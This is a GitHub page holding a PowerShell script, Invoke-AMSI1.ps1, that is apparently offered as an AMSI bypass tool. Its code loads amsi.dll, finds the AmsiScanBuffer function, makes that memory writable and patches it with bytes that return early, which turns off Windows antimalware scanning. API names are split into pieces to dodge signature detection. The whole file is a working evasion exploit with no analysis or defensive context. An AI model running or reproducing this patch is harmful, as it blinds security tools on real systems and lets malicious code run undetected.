-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathInvoke-AMSI1.ps1
57 lines (44 loc) · 1.45 KB
/
Invoke-AMSI1.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
public static void WriteToMemory(byte[] patch, IntPtr address) {
unsafe {
fixed (byte* p = patch) {
byte* ptr = (byte*)address.ToPointer();
for (int i = 0; i < patch.Length; i++) {
ptr[i] = p[i];
}
}
}
}
[DllImport("kernel32",EntryPoint="Get"+"Proc"+"Address")]
public static extern IntPtr gpa(IntPtr hModule, string procName);
[DllImport("kernel32",EntryPoint="Load"+"Library")]
public static extern IntPtr ll(string name);
[DllImport("kernel32",EntryPoint="Virtual"+"Protect")]
public static extern bool vp(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
function Invoke-Am51Byp455{
[CmdletBinding()]
[OutputType([string])]
Param
(
[Parameter(Mandatory = $false)]
[String]$program= ''
)
Begin {
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
$compilerParameters.CompilerOptions = "/unsafe"
Add-Type $Win32 -CompilerParameters $compilerParameters
}
Process {
$LoadLibrary = [Win32]::ll("am" + "si.dll")
$Address = [Win32]::gpa($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::vp($Address, [uint32]4, 0x40, [ref]$p)
$Patch = [Byte[]] (0x4C,0x8B,0xDC,0xC3)
[Win32]::WriteToMemory($patch, $address)
}
}